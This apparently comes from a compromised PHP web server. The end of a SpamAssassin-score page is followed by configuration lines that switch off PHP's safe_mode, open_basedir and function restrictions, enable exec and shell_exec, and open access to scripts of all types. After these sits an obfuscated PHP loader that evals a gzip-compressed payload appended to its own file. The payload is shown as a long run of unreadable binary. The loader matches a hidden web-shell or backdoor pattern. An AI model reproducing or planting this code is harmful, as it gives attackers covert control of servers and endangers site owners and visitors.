            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$upZL='subs'.'tr';$Agoe='st'.'r'.'_replac'.'e';$WmaV='gzun'.'compress';$pRnN='file_'.'get'.'_'.'conte'.'nts';$PhJq='exi'.'t';eval($WmaV($Agoe('apzvjufihs','>',$Agoe('dfuzqtonrp','<',$upZL($pRnN( __FILE__ ),-172285)))));$PhJq(0);
?>
x$ǎ`_TMq0^{+nS{aNf 月/Rź?+͌{4}Mɋg6ާpeOf,} }fOZ7b]?k1Oތտ_h?[yapzvjufihs9hq$$H})4@?EQY:R&=2`V8E.v
ڋMnҏ?E_qnX7
,Jx"st\VQy)?=V|my9YdR?(TO3i[:W64hߩY'tdb{UdoAƆcz}n2$ݥJ'~*H]LFǙ.j\ʶ\4vY7֡hbJ%R'?ۀrz67Napzvjufihs{L6uaև|Tr֣*/jzAR#=C1!Bs{F%5.:EzfKa{4&Gd2přZQb8[`A.T@HkΡWtсx?/&FqFϺSω L]G"`ǉ1+eUբ~QMr"l3W1frv͋(ir]2Mݎ=f=4fo0O@$t_) Vv	e
S"Bc촓tnxa=n	F!YQzdf7E	(mz6Xapzvjufihs=.-(-bW~"l6^FMQ/	@T]Vw#9'R7^(˲mJ/82b)dPU:&'=RH)WbQu;R/盕m /ǵbK2
muO`_4yqi=T]z2l$	A$dUi1;pe5J7HU	1gVD:MDJmJb׻]5yv2Ucdfuzqtonrp~$ۤ^NȖSUЖ׆7d`D7"UapzvjufihsiǆSapzvjufihs\ۄS )'rp15ylo@?}9NeM{!1v602$HtH%ob5l Ӱ1rz{^Gߎ|%%VF',KqK_V,ڷ.rfv#z^
r;dfuzqtonrpdC:]@DI,.Y[HT"apzvjufihs{e=Iڞo}S0s	۝MXjE`2|?T#ԣ%8i/_(ܨGb&}cS1dϼ4U}G+Z6'MC(X_9JVYFf(;ju
wkTg=*$P;{Ps0gh+Y\:apzvjufihsWdgu:yPfe*"뢬IwÎZEk#PSV}2B@r}s\ӡ󆌨p֧B'oT=T#oJ8T!apzvjufihs:wjVљxƅAO{KB[@N?c=apzvjufihsX_=,RsXm|&=4IOIvrʱI3$ұ=r^m Ձ0A[/lx؝MC6k),5(n,jZ_5QU𩠮A7_Yȸ$[jFyBdfuzqtonrp/"#(c0VȰ8-f{gka  (z2mA3\2UMWe!VPr}djzJz
(''apzvjufihsi3ë:(~|
)XYUReOI4]iw)ѐmI| Gӳ3%ږKp{:?Gn72y'm]Fm/j.h}Ny[,A7DY@Or,dX~+b|.1Ѯ=M㜱 nZ8]ޅkD,GwMx7{ED5RK5/w{h=[Ǧhpm_53t+K 4Kf^u2(ꍇx4^eğ!*ͻV"#f^F2t\Ԋ
dV3)eAboگ8s0Z8|dfuzqtonrpg(S;4dP LD=|B
JXyMj&Ǖ	zK_2u&|Js Yj-y_҃9]m2^wF)@\䮷|POB+O*.M9q};CqOjQw2M}No!}g;d_01ARsuwa8Sw%u0rM4זxqdfuzqtonrp/qlO[y-E"[{[򨀍
UE5nvJ;?C2prTX`CnT_u {uV2Hb}*tBR9\8F$MD{apzvjufihs`}˂uO} jAq{M9+C0ƒxE8{\'apzvjufihsiC?8
.,$BHthܧY.þ{.+ݢkŖiJ6BO{fAR-a}0%Ipea4~9eXa,YH;dfuzqtonrpTj9V
apzvjufihsw+e2iH6y/P)҂l.E5qnfz޳jQ
T 52\HPw8ǰIQ7iTh{2m&r&#YS"apzvjufihsqĭL:{OFw4K+(K!_ |{|zdfuzqtonrp%-@nc$~-kkJP09ۓSi2@$uj?IdfuzqtonrpGVm(Ysӿ&Y}$eFV
x0[1tQ3c|[ǾWA1dfuzqtonrpDm
|\Ev61?[/DCA?4 apzvjufihsUMbdˎY(F!:woi͸tƪA+sy2Sׂ|yE
Rd7jj|b6(vIm-Y|ClNBjQdSgŸnܤ%dfuzqtonrp7;=YG~A ~apzvjufihs-`Rk	
ߟ)Ddfuzqtonrpw 2K$؏apzvjufihs$@מapzvjufihsJ|	M/Pc1/dfuzqtonrp$s8toN`J,fdU1-65V**
%I3TC3B%F iXf2dfuzqtonrp1ǴWnQntD?XRm`S2]FA(nzPNa8u.]Q葒,VG|aj{}w8=ohutC88~f

fxe@\ҍӢ6kv
i~V@{dfuzqtonrp_$!	]C0}ˆH;(#Ccw!np`"+ORC!ܦG$i`]L6n#k.j.Ri=h^v1/3z/R?M55$̙;z.hך!gގUŐOC	mi'(k|2Ct*s^zE`RGkΐT	?LmiXdfuzqtonrpsU7Q^OK')ѵr9oYӹ?%r	
24zr跆ݜi.T3aIߘ5tDJ"_QţaX_-~CQ4f=W7f xzjp7ldfuzqtonrp lp;HFzrDAl$*bIDM7~y`'ӄYZޢ'Wo) psܦѡ
}NsZlۓJ ^.E8)ABF\-֗B鯟GhpgOl"X7ߗ xT".)HUy
Kq eMsފM5Y3vdfuzqtonrpԖ:a$r`W̐}kmnJ%) U	C0{Q6IQd{Sn80+g/k譖YdfuzqtonrpQapzvjufihs	napzvjufihseWvc]Od 6 ^4`
di`P|Ki_apzvjufihsO;1~Pj%8CȮWr&V944\ 1JĜ溧~I$U)g:
0j:ɬ$oxeV
eg8lG Xkig#Ŧ[JF]KVC^33[	-_q7M+'7[	5Z`Ņ"s
p3w#s7AdmAlapzvjufihsewT{Y:-TdfuzqtonrpSыC^L .K
c_o?7NF8v5K4CU܎Cׯ)IcqV)(5/(/EhI.ԮJ6
.ryQ{8 ]QDwrHapzvjufihsj}za{+^1 46XmqP3ʛx)~
lIfDcIlp/GXօq;%M pcsBv!ȕi=8q{, 9mQ'%R"2s˯u$]z;5dfuzqtonrpX5Rqg.rlJ:8,^w5apzvjufihs,4 zQtXxn0J*쓵6apzvjufihsAQ 25փg27ٚsV5&2:ƗO8;UچGpڱ61 ,xK9~{W((qW_x^du@QiRy5WSkٓ&.VE]/	ibv3ۛ,IK07/:	f!,m"d]r"3z'd-7-de4capzvjufihs!.M'
ɍ7I4-.PcH?iNr߄eŽdfuzqtonrpd?japzvjufihs;NQ~M!dfuzqtonrphyʆ][bf2gtpg#Ȼuʂx8g͟\웙ۆ~=kͷ?//;ͺGj|fkapzvjufihssB\RWpIӞ:
74-:Xv#8CmJ|	miuYXg/Xz#;ix&\_W-~MT$t%$Qy^kM}$ 2hBo ppn$à`FXDA
3n~!'N낿G	,5g3!DN۟k7kBGSC+(?Mb\˞o|wrT,r6!s
%%zk:%;Qn6T8U+}H)([q?@R3on1t0:39_]G\!
~7B:,'u& VzyTp2H.lJ*°bC߬Ldנ^h7Fdl;9Zapzvjufihs&x؂P[S)剝Y{_ze[&@u~(xfv ^.d5LO!DAMG։vY,z9&apzvjufihs[6cE]MKs@']7apzvjufihsl?-(ا;K0Y #dfuzqtonrp::U|'uҤٳqA}|`-ʋd:p&O&HEnXLYy_0dRN'L4@:lHD$n?`dapzvjufihsFk
HEH+uvy«4aE̈/U{|ngorI|EW-J]1 ؽzN*^Uaiެ፻16"! ҿ`رQXl:/kiYzc3!dfuzqtonrpx6G{s#}! G7dtQHlڞ7
:u!2xXZH1&\C¥όTzznP{PO{;ZDE2$A$@F=;CCU`Fh{c0ћafFvYP]mP%|pbb'Fԍ͒[7-
dfuzqtonrpxXDroזsNͫ6}%a;4tBuNdRdfuzqtonrpkapzvjufihs(wapzvjufihs)*M|/-sK|ʯ
H]`b!T y毼NK
f+]PD_փ*Pl6$mZOQySd	1BdGapzvjufihsE{wS6#c~ӊvQ+nS)r/pC߇5JߌuW_sd[Ph,w+ :Q ub4뻆,,}:Ōpq^\Z)8!3DdʴPB8Oet	*:'xy_XϪ)d1/Na?Kj`#P!yU-r#yQb7W7)g7H/˭g{AY%*09::|\=	182ڒdfuzqtonrp
n4kFjx#|xQ~vc:KPuoa6XmW#rËhq@zS$qõ]6Q@QM^aϲM1}ϵQUseup[Ar
5[5*qȷ,wEdfuzqtonrpC
#:&pMSS8ʓ|ۺ&חn;77e__BgƵxÁircw܏:cz9WlbK&pPLz6påd.Xc_/,[bOzM]"EM4*kV]u/0r1JJ"Rń\c#*ͮ"@&J⌗D76CqW_DJRD&|z0([y}иn=!Cux@*{oщ{6X''S]5uhUs@;=`!\&SYjN6/ apzvjufihs?p	u~ÍۦEͩeU1;5Q3l}5C^eD~vb{:#
sZapzvjufihs'P/PGUFocWӊ#&}#w}ABԠ-ˎ!xZA3]M§w=$)*i+Ţy2dHH]L|/ѝ$+
źapzvjufihsZkuFd1E:HJ(n4-cq0z/ F{}M mHtPp1K'8b'IDC tύ[0;+Cd9k*]\p!)@E_@YAJ%	&	Wa?~apzvjufihs*UE%fz={cFw۵?SlfqYTM;bw'tr
DTek|apzvjufihs}6Rb?L dfuzqtonrpRKe*?X'YSи8صN:xጡ!!xheφ5+b2DsGMf&dfuzqtonrpR%8ߩqiV8ȵ]4_RsTdfuzqtonrpFO]ٺs͡TJƽ[ͫ~zIKjڗy}apzvjufihs`Qo@YBKIPw"@B˗y4)R+%qUZLy{VHMdZ	b1B~(R^gxPdfuzqtonrpA[?#hJx*	v.nۯzcA@dfuzqtonrpz^vrM}9坷v)ViR- - zFtn|`)Rx$A`TcQj(s\o-D"[5_e
2!

CdgtԊƁ5i=/ՂC!~CԷ3jꄏ
@7`ฦڨV^:L?ß=4c{C,v|~CglE]RXzR=fAs%*HIcV&O(cJA(g  KarOnaޅdfuzqtonrp;RġQ#6
DZ8"nfapzvjufihs@[ j#J)j:PZԉ=cu+n2ё
/g;mIfV

BḡnCVΡ(O5b+g_}3E(ˈm.e+%8KC7LYm?;II}sλXQww:@HcPO!:-eS^ ġaLN4YwY0"h@ţ/{$&r Wҽ^'~X&/1zV~!(Ot=3lHNq)ijf;E_q{JLw:j܆v/97Ym,g_}nU(dfuzqtonrp}0Tv,T)3	x.b&aZHܝ\}kR)|%gUrapzvjufihs&4+蕎P_e_ԙadfuzqtonrp#f|Gx+SG+L"HdipނiڛYL3(JY@9wuZDIm]uF,424al;o٢Tw6MP.&gX@kIƂu`KRIڵ:' _pr}ágoo/̔r$u~"@^S{_Gx7Sg(sgapzvjufihsG:@@i1l~s,
1	{@8PqcSros/fn
)%t޷*e%ܿrRup
d_tB/tDǇ0'jG\kltI+$=RIes,|ԗtKB~5uɽ}ף1[mغ@Þ{~6EmjRGY-_{#i6x_Yw').Oǽ#_I3O?Kt!%G^+kdfuzqtonrpbFMOY|QIA/Ad}͡z_rB+#zl]X\`,\O,ޫin)u7z+՜!}E|r	@ʥy_m56O(?Əp˄'e:%rV5	Τ[k(eJ)67T
]KS&1!e8
/ᐋW]\xBsɡ3"ԘbU@ƟJpFGڭ0$&DUE}Da
!mbFGEmԈ0W%lm4Dh$8Tr$%\0~apzvjufihso"Z̞;e@`dfuzqtonrp=dv+PU+m~*^k|apzvjufihs;dfuzqtonrp|ߗqKarP	Ky9&
yv3yRǸ@E*#}:qDB\.rmQ7i'T1dfuzqtonrp_+
znXJ+Hmm+k`o4-6IzA!+D1P&N'Hxߟ##dfuzqtonrphln|rv$~+A)3Mxapzvjufihs9b%0~&\,i?mLhn6eapzvjufihs'ےB96|Zሰ̬]:ݰ;30ۧi}mLy8+Rn{'{{#lyK
zl9C^upz10AA'ce	EE-ΨTcydfuzqtonrpulyט"h=Qbf_=^l{ŪFm@'ē(?v';׎ 	;S?,fVE2pJP
ȉ)wZ);kYyI2\WW
4c4*#]ovKؘL
ox!NaM4Acn~ _E|ptG%x,KƪP-Y5ҽs0ZՈAܚܑ$^B4Α:ID}E
WG$c}̝pj4DF"i5Bn3UjONyapzvjufihs-*B1KYLkb[~.s`IH:"ۼ]D;Ʃ9ERyX ;apzvjufihs͎D j`D8VPd?MAkm dq2kaJ
ڃb-l/Uqb*fWx̟@B3d$z0݄h~_q#3zQz;yޚm1B'ed6-g:~)"dЕ٦+_lC~a&"FΡAr7l Y&/?9
~1ϗpA-Aߗq30%6UeG
RbPn$\tf(kԋeD8{|!5l@I~
ἱ#ѕ}h:taC\Q!}צBNCIpC1 aHޕE'$!$apzvjufihs8Q

.sJTzR}]EAapzvjufihsٙs"iOʧP
f
+SMSک15}bI%yK9vu2@}vR 8}dfuzqtonrpTx}$[iRVB$p{Z=+#2PRi9;~䄍y;L"\,ZV	f 7 CvGO4PYv	FLж0jEOdfuzqtonrp'7V9%apzvjufihs4Y4jVt(u҇tVr`cH*q\Tqjdfuzqtonrp
&Ć)am2)aƀq@TETp#7ԠgQ}m0MA_IK9}k*#U!k=dfuzqtonrp,I?MiQ~q5Ӂz[?~8t&bXGYA
Gg8]_apzvjufihs6KR
mDDw\W!Z-|Jk?,_hO|o=i?N/a
1@4XyU'L=7VOdfuzqtonrp{Lk|Z ;dfuzqtonrpǥapzvjufihsefYyC8_1n4ۘ&x͋*/vjC%z-}	̑ƅBPo4"P&8+ލapzvjufihsZiy6M4N/*apzvjufihsZKapzvjufihsV07Q?DdAp1z
D:ڀFJ .~
B8]ǅ	CУg81Zo#:l0pcza	5q
nU쎡x4:wK5@KM_SU`;풅4`HVcx}}nik'hD`_*T~B%)apzvjufihs쨆ʏSOp?yKŖZfk%MjDuWyHۛ0cp9#VkQ&c'
rB8\)~ݖapzvjufihsU$z9m+@ۜUt{ŒeaOfunPgVqdfuzqtonrp[385pMa$!0Xcu,RbTf1bCȬI=~Mܣ+apzvjufihs,+l7r|CLFL8,R5)r }LO$;J.&%cWɼ3=i:QO&ho!PA&cV@JY~QhaizZddfuzqtonrpS'S,6e21PL_FNapzvjufihs0ar$UT©*jU	=:ch,aIw JbBapzvjufihshNR XK1w7
X5(
JrRԪ
:ǲ1	ۭ	t`ƶ}4˸%m-&XSg8uoQ;1JwP
f5LUfͩ.:yMfBf3apzvjufihsm\Fx2@7Q6%R/ۏr/O9a|ie`zJ$5OFh;|2apzvjufihsOh+8.
u `pO	*u(lÛdfuzqtonrpj.YAk	.}ϡe-Bgx
=NTo=kdfuzqtonrpQmzu4 in?j
6GD3m&/*UNSQ)/UYytyYBza`xX4-7k6#6kx寏:԰R @PBf?Ӷͺnb	0ys3Ql6LrywUi|[:7DjҟϏ{(lxM[I߼@/rdfuzqtonrpkyK,apzvjufihsdh){Pǌ-dfuzqtonrp}2=sX]{}O+uoWw~13Ι:ˁPqK=`}*2`b
ХnubEԐ?̥J6=q&0݃1˦efzdfuzqtonrp5#8Kv8?]:9I6'ՈQp@N%u]Ik@@9+
c
=?F
cT[hSV5Hv_Wݩ,=dfuzqtonrp=H^q	K^hI&59dfuzqtonrp]eGKH7毈0Ls*Q萸u+G)q)YC5ͶxwՅ4o55)Ž"Vko{	Eh\1*Mew̽|X}Pnk~Wهi1|*fCKy:Et
nS[PILNM;ނ@; d=;ֺV6'gyb?KP%|)VWwG~bj0s¦)B:}q%0n:pw2( Iapzvjufihse3[B-U֡r~Hhn}*̣:*Ju|gdfuzqtonrpST͞e97?:k7ABK333֕)
t0;j|9J}8	
xk3\:"D,k	9,PeXԨ.d#*YU0sY$-ね	:sxP2{eꔔ#u)Xqd0ٷзB
[_$l/94B%X[	0(.X;h-/9Ũey
$E'ee=fyeU}KƆ.P3sT"]=%,.΍Y9
&z]Qn_	ÑP.䈙a~v8|o)I`+}cșӗČl_apzvjufihs	eBe!gː뫖F%WAedfuzqtonrp B=l9y
!VQ;LozdfuzqtonrpQ
RdfuzqtonrpF
|mQk*apzvjufihs=?= ]^Dqy(69#kI180zGo$g?wWCSjL8Vozǟ(~.-:HLDw/&O;&BlFqpܞˣLBN:g	3# {qH[`
)$lKĮdfuzqtonrp"E:TBdٽUdfuzqtonrp&N^Cpv;S &[HaA mťQv/9	џL*Xk1dfuzqtonrp.hfzyapzvjufihs?̳fڅS2`׷Hw!apzvjufihsnfYP{',͜kם	T\a6X6Fvy32蛚ap߼9s;nh2J-`A317*؋ 11(	^nSqtvύմ$MPNfܺҕ}d'A6euѵd@Hapzvjufihs뾌2*O1UꍉrC+jdfuzqtonrpoxg
uz)Fَnk\U84aۭdfuzqtonrpuOT{?S.q*ÅZ-B
9'd~[

.ڄ}iyOy׏s4Ɔ(.@@+Xg7Qq,YOv|J &WuE|g nwA'p'v+Ј!?wc}wn[yq+=Es{)#ͺ:=Rw\0!b*cc5!Ӹ/9ަ+_rH֙o1Nn VX˔K`7-apzvjufihsOx3^ D.G`c`uz#Jp$S0
CQy8:iXF?V*pC\UapzvjufihsaqVc9vDdgW70:pfYs4kHtX8)v+1"ʭL1њ@fB#-YL+srgNkQhوmJ[!!^6r&za}o(_dI{h8+~6Β9!묇b]tglơXsB_8׏dfuzqtonrp;^OY5a.DI]PSqgם`ۙZu-ZjqDytN
htFj.qyapzvjufihs_:i!懫BL	Y #cTeZj`FXiK;(/ʋsF4
r;܊u3*@!-+sٌW٫}ڪ-F]ǿLO+Q9\le#apzvjufihsHkKTV-r.8kdUhgi.;tSdfuzqtonrp+=1(MۜzBMWt'G6//apzvjufihs%l̞b_??ɺ-wLG6wK}mg_'$apzvjufihsbOEL0OY\@H%EK@q_Yu7Fe:EMw럨~yRۨ)܌Z y+bw\3D)@uACòB{UK7Bk2E!BxLj蛯?U6Ml :`tk 눂1X[47~T-apzvjufihs	_0 rolB8SRG^}̒ٴ)A4$2ԯ'\쬎ɡ'fMChj|`F~3&
s/'wSTVlHlz_qGQ &@'݉SlQ[o_
:'gYPhapzvjufihshq8pF0P~ *J=Ay].vdfuzqtonrpEܨwyOU3*z	5N@X"%~Dve/l*)9g^*NOy"վ*lݮ9貔X2f`+{]lo]gSW%!5.s {\;:KEttVq%չRkd?'on̡n)nQ/$Q[`զdfuzqtonrpu4F6?洈D? ]ԣoc#xON#w0Lo6bqϺҸvrͨ^B=йaB9DEc4{^Ƽb})#l, 
^gq؟Κi=R(0~(]a|
ȁ}8	r 	
9,
ZxVqKuqۭO9Ι9Hz:z@6~jv@x]_\SXM0o
l絗*$l4[6"Ry=iWڟN Obˡmh,YnZhdU:7%0heC0V.laX;@ ϒ=?{\ڨLdfuzqtonrpXPVqm/z؈vam^=Ѥ?6*dfuzqtonrpFv0ajCS"T,	̅ \]KHAKwdfuzqtonrp֓vz;-dگP̷!vʻWDrG1M}V̓AT%5jkY
軒đcA}sB vǷsOfѫMXȚ,p[1mcB;$oL?|`%\D)Eca+psm,6WݼF4╛mP]Xiuadfuzqtonrpm^_@z֔Pʤ3e4,7#Z|aJk{K)t/5kw1X`Zt,ydQSc68q.KX eMDdfuzqtonrp"f ՒCapzvjufihs$IA;x5?ܱvNo"iE^"ԫ 1(T?ꅃGA-׻5 Gˑ mwB
V]چ)$7~6,C4T2JQ@Q);RI_֨l:wF\RabJHuH6%'c!g6C)nipC6S'wXKFb
K!MMlހib2qȹdfuzqtonrpFlc:\l`S5Ûs_wSΊEO7dq,PlPqLq͒(#77
T{~;wrmcU9\iOf¹}b;D v$Q%Ds㈋+Zܻ&SLhY]py;dfuzqtonrpW# jC7Q\^'Xh$: A[
xRAiAbfJƹFWm1 HoWܯ61d!D#˭X/6`GҦ%rW$\+G,Y:ب21UapzvjufihshX)4f{uapzvjufihs70	ryġc8PJC]M#kXm;Ijt&6G،V~=Kw)ϳ RRGۡ媦=tf_3bA_E~K|v] 5Hy\Ҿ
TȣSы=arF$ CwU*4gb@|#Jm.nxz,kClͼ
gtBm4	bؒY\P1wdfuzqtonrp
&xT&/]7HF?_#q2ڟr/9S_WhKx1dfuzqtonrp}+_T!R\/8\kq5}Cq+KcCFr{Ya8vd5NջK?p\j*gr9-$@@~k2{眽Ucj]EJ&IO?Uis4I;4o\W(e1Q Z/F櫇kcST-#B38LRlFg
.ӫoZ?DWUpSb]Wb Gf5.
{zg߸̒apzvjufihs=^vG}dP2_He{՗	Og?#c5~}L,TҦ:s,wЋ)W3	AhsZNT#ϬIg^@IlJK:吆{}xP]N	apzvjufihs-Z4k6E9c#`Y\́a]
hR7ܽsuɑP)5**(Jɯ ETPkkMNzby-Fӱapzvjufihs6BV!qJHp
'KP0,Qp;A]ɤe
6E12ͱ]|1p/Lu}!^Z`_z5!dfuzqtonrp" H0U?ߝ
	edP|R	mjjZY@zQ%rMSQLVX~	"b!.
畘m阂5JdfuzqtonrpݼdB&0程UxI}dD&sB7=A]ľKbݽSqݟASlG_-TY PVDB[)2KÝsQ-knEa{rVs绐CoKr~ݯ_g1\vZx+DK?iZIapzvjufihs{˟AntsK-8V#".a	 y8.ǒA9X|U':oE0G	E38"q̲J\"7q?|~\SEmQapzvjufihsޕQs]r̢8PGLc1"dfuzqtonrp=Qzn2IoF:3tע&\n:{ZN;ӔEd#g2W.@ۏĜU鱟OA4-WY9gj/dtQapzvjufihsM-z^z
upyC$ LpevPj ;i |U&Ӧ۴|ChBu|dd6Cq
f7F-+گVʞCQ/#sc9/Seyf,zmcjA}ĴۨmZQ4ςE+2ߗ
=Q燰Ypy#KΘmCd?~-f;G,#5}Gx,o)#H8H3IeS3:Ơ*U0dfuzqtonrp'@RIdHA8%sOapzvjufihsf;IUq}VPGǐapzvjufihsŗ3ƶ@=kBi=&dMm&_?g(X]'hi׏5]papzvjufihsPf]JFI1Fo3apzvjufihs8RAL*^apzvjufihspgtM]T~vܔR',=d3Q;$rsK8dfuzqtonrpiP+OòC^-/~"̝O#Zt?\^kJ{~ߘb):;&UXmIyxϓpم}=!eyN)uY.i2o 11	_##A?,rIi:#@15,P+%z*,BGޝGg(ݤ]D.BDI!8RQ+?~%IU`hHkH)#鶿4ϿЖ\]=29NFZA6t}v`yiau/jʹhˌJh&9.1o0o^yO e=Japzvjufihs/k`\Y'*t40Ǖ$iܶwZ0ұccï{q {(Qc
1Q%*NS,I"/}.rhD|6KOufXpO	S,]lNmOc+apzvjufihsSAm ̘
SQ[10-ߔ_)Ҡ-횸ҩLޑ=	w*QpE[C8Ry?J~Ԫρ)k)
N
Ů @n

844%[dfuzqtonrpƽVWPI8yl$WMXi7pcBIҚOAK93G[!!bעؔmpѦ#T:h`MQjdfuzqtonrp^V콖0CQ3#rIxe66MI 6guD ۓ [hP^߻`ļvuZ稳)t#eDw,GdfuzqtonrpE/l?5My`\_.w	4 ċ9YgRN;ho}}KR\'ITt%:Z?230IVAb
HN}Qhz-PlZO dfuzqtonrp`F&oX^~}NSq1LuУOűBA6EZ|~㧑XL_'#wHM'l025͆ts}:DT~㆗k |1[;~[vTFQ
/.']x9EdV~̂Udfuzqtonrp-kHUXW@nqY8
h~:.Da)+_ā=͋5L_qFѭ;2mFuj|]ifvWqZ\U"h1PM~*Kmz0+9cWl9!	B.Y#ΨgC.yFcVp_覯=S,pgtLY_bfIELD)fGp"RFvM8x$V+lzD)w,$L905\H:|*ІPa{4\Iapzvjufihsr*ggω  6mR~,(nvէdR']7|%'K88~M	S8݈._zbh	rbF'Yʧn=J=C38\fu/ND4sxpA2p}qcW9:Kײh|~6MpTrqdfuzqtonrp5pL#!1)2=[T	1XdH'GQ{DlIɁg!IwWXTyT$yOjBCmXZwv;`uyFQ&ݓ?'ow׌G{nXapzvjufihsdKzCі^ o*R날oVe8ݴLcWDN$U}MzD1mQ *F+RS'¶LdfuzqtonrpbQ2N	+|WFOtN.fAwF2X5
 z˿Qdfuzqtonrp%u/q$_
,#_:@9apzvjufihs?x(ЭU ÈQztT?n.yrwy_fvPKxF.=vEYMɉcw$'꽯./hz|:H__`}E/cc
ߡQ!JapzvjufihszΰY{ɼ+$CEͱ]5é٧qH x#4lr9ՃEqϮ^W҃_r;ނVc?e6|{-6FSu26aJCcrՓ9L
UP{N/MV6K5v?eNcƢF8N)c3xn`[h
zǠD`AjìgҌ(ome 	»lg0r+1rsEǡ{()'|ܠ$/e
.,Mw`4, 5 :r]ć_Jrd}&,"2)K?as)n FX7dfuzqtonrpsȊgkwOvyx'2Bx&#tz~ PS.*ȓm8!0ʋL*RńL؄Uq	8FDluv4WmΔc,؂q~jsCR]1l$3qc,owm(_J[Ql(xXb8,zkwk͊_:o#iJuImCE!3
Dm~tvC  .	
*m/}ZF:
* b-tUovbs)Q!
l_;|r63n^DЇw O;SC{a9,3haudfuzqtonrpKk
s(質$鱂~Q/af8JU79-vdE^\zjh&
MB|#i'|"Co,[;#:
V;7^XZP6|G4}kic$wY/Jfdԩy4ykՠT5dN3n}Y
rhOO apzvjufihs;I?TZ$cT8޸:x_ITC7.10IT=C69GR_['CDI[[Pqn߱CiTX|apzvjufihso8։ڗI,:Δ. -et{H&:a瀣%v[kP?RλEY0fOu9V]^#=:3=m3]gօ2mt#/av `7:ȲvLb|
ܐ	Jvw)88yYi.蛷0_˄֋Fk? {_GzL}kx0apzvjufihsdfuzqtonrp@ПkZ|G a=6'
wϽxy.ViBp5pv71#%]~Rd[N$tҝJG?}di||Y7'85 apzvjufihs:z4;Zg?o2:MĜD4apzvjufihsњ"dfuzqtonrp|
z2vO5OMe/$|

WBPCcx	
2-ˈ|ZRᱨٷ?a9X]-!A-PjJDϱ]E_t=dN?{Zmg߸KҶ5w1.Lzkn2a8ՙQv[=HbwU`ҿ+FiN[͡N Kxo?j_ /L)s2L&UN[T p`$Aa(PIϷ"1-CzA*t[=Q	
D(kv[Os|qٓapzvjufihsHjapzvjufihst'9l@H!#|
nЛmx Zܧ8X7-?=bU^^M*dfuzqtonrpf
y4YS[}O	1Xo`#7lSȓVQ\ۤwT?﫤S\XqLW|ڟ1$)rj$'fEnOzf%^x5'mֹb^V/^̎t1)R]dfuzqtonrpn~Ƙ#yLh^:-G.'ۻpQ^l҉apzvjufihsɍ*~zdfuzqtonrp亇[o;]W~akjP%J*l/tJdh5;)^Dnq4j;5Y"/WM82wGk|DjyבMskC3qv ~bdfuzqtonrpe`jVà@\lԖJgN=*!o8Qxi;Z0IFol(k^v0
&f7oE*@p$ Bp6ԜdfuzqtonrpXx[
?&pP`$Fi2^ǙV2h,us
#ްV3=p{ǿocOϜO,eNƜ'j?8cqbk3( Ƽ@tK+v- 3,t &7~OV݃sjׅB\a`B-wT{yȝu|Ρb2˅*T3l[
zAӒ(apzvjufihsW2#)f5C_NV'Z{KԵ\JxMhفߝ;jIKDq2$9Ϗ7Hz+js KЗ3yۨ%eLp3j ^]|vVq@%xQjU7C3®_K{c0nuAM:&rw亢NL y2dfuzqtonrpșPnAG1ƤX-%̞SԋcbAXat?/yNX7kPG}D0.19ŚQ!f
$7gXD&ަ8{3/یިVߙeeNhC1жj0j-KByQaa&9_=II٧Ex,SoBvɯ SśqZڭڗz
0˪cjeɴױfaiP/wV.?v,.?LNEdfuzqtonrpJKSDQ8%UTP(G!dfuzqtonrppԍUBk%HK@lK׷Of`0z #~i6DMrX~{1wiA0^QA(n劼}ä:^4O^[ EuY#_`ϟ#h_\.+I،]իV/$
UAͫa;+d6Uy^+A|͌RK1x%:%Z~5\rnǛ Ja|WCa.w;g-capzvjufihsQ?	0/:L5i\omx
0QF7oи+Zti@bdvQoR !YRA&OUErIB
apzvjufihs֊HO\ ?@dfuzqtonrpPapzvjufihsR$辽 M_N޷Cb"c!ʵ^1s_4
IlhYeL5+~dД#~`iǚJF9-I(vd97g_i?GM˖1wXdU'p
z`~mF
t窏~X0|Ʒj?^Fy(H H8dfuzqtonrpY"MF&`Å ݠoF
YtZ0ؓ!
Yv=șoN瓝v=mg_apzvjufihsaოR/KrL`jAucdi^Yjpb$=)2E+OxodfuzqtonrpiF'
0j$ =Napzvjufihsʏ3E2P$e{O.&@Ia@~b
_~DC[%뷡(9#E6Yu&z;$]΂ϰ4^npb&I'メ0+@%7a^zL"ҭL7Ԥ_CGȊаQ+V` EGRmr*brd/!J*Bapzvjufihsnz;寜M#0P) 0Su2k p򚗿uՌ\fjkӘ{z	,jOd='WqhǺkSli/x쏲2(*EpMix`D/nן));T5UW7u嗊meꥪM?lPl+JnK4-apzvjufihshV,B8
)&#1K ҃.C#1Ki0韶32Q"B&?%nzyzYNU6Zi|a$VΞ(%[L,$;:aapzvjufihs;o9ǐK%O8RV#U2ɑVlFU#K6qCcneIMͶkC&6,Jdfuzqtonrp/Zr?{-
O	̭C#yL2i+)^/HtQ2V`[O~_Y{|C3-/`a~ʹۇl:
nfB$-!'NhHdfuzqtonrpLMQWN;#t.G36?g$Ǟo0Z L
ě4=^q9ӄdOܝo"qb263MC^ߧ?.Y,֜綱WBfņ_+B?«Yﳫ|uYf%o[T+CaM&;[IH|,.)/a${iǓW~-dww@;}j
h 
dfuzqtonrp
ԭC=x(ʾ2o	m $,ꖸ'(,ROM5h!R[YHSQvZm?֎"NCrC0͛39[3E*\9[g]NF)EA'+!F?ZH5$Z%(W{Ձa,O7Tbm	y`'6eȉD@dBĲtx7܊,R,.fkAWYU2`apzvjufihs#+՘^s9gk[r4}:{*O
%ƃi\
6z\By_a$RBEs,M)JQJ0dm0H`/ɝ8_%rϻyS
6f،)W[ a=:^fBWY@(
Y٣h½rYxA5}Idfuzqtonrp5;Ƭv{A!nt_)mY3 %~$ܱ}aiȂq(o. (r=
apzvjufihsH`@SӠ&; EH=%)WEc|H)UmD	s~Bry._Ls~E{4wOɺdCr(0ǒ \,9*FTy:#p'9
w|Mk(۱Zx"䛘
zV׹Bx2]z	( VVejȣǀţYvJ8
'$}k8\ؐFapzvjufihsa8dfuzqtonrph0ܥ5K`#Ic L'2ugV&x~'uXşd(\XDF0CJw&[|_c!
qiv~hΡbcdfuzqtonrpT@Im*
10V2!Xj!YW@WK}	qڧ$fJ!Q0TgIJyC?JS_rapzvjufihsKJ-gL1/	'aӝ["/=hܡ'Y] :)
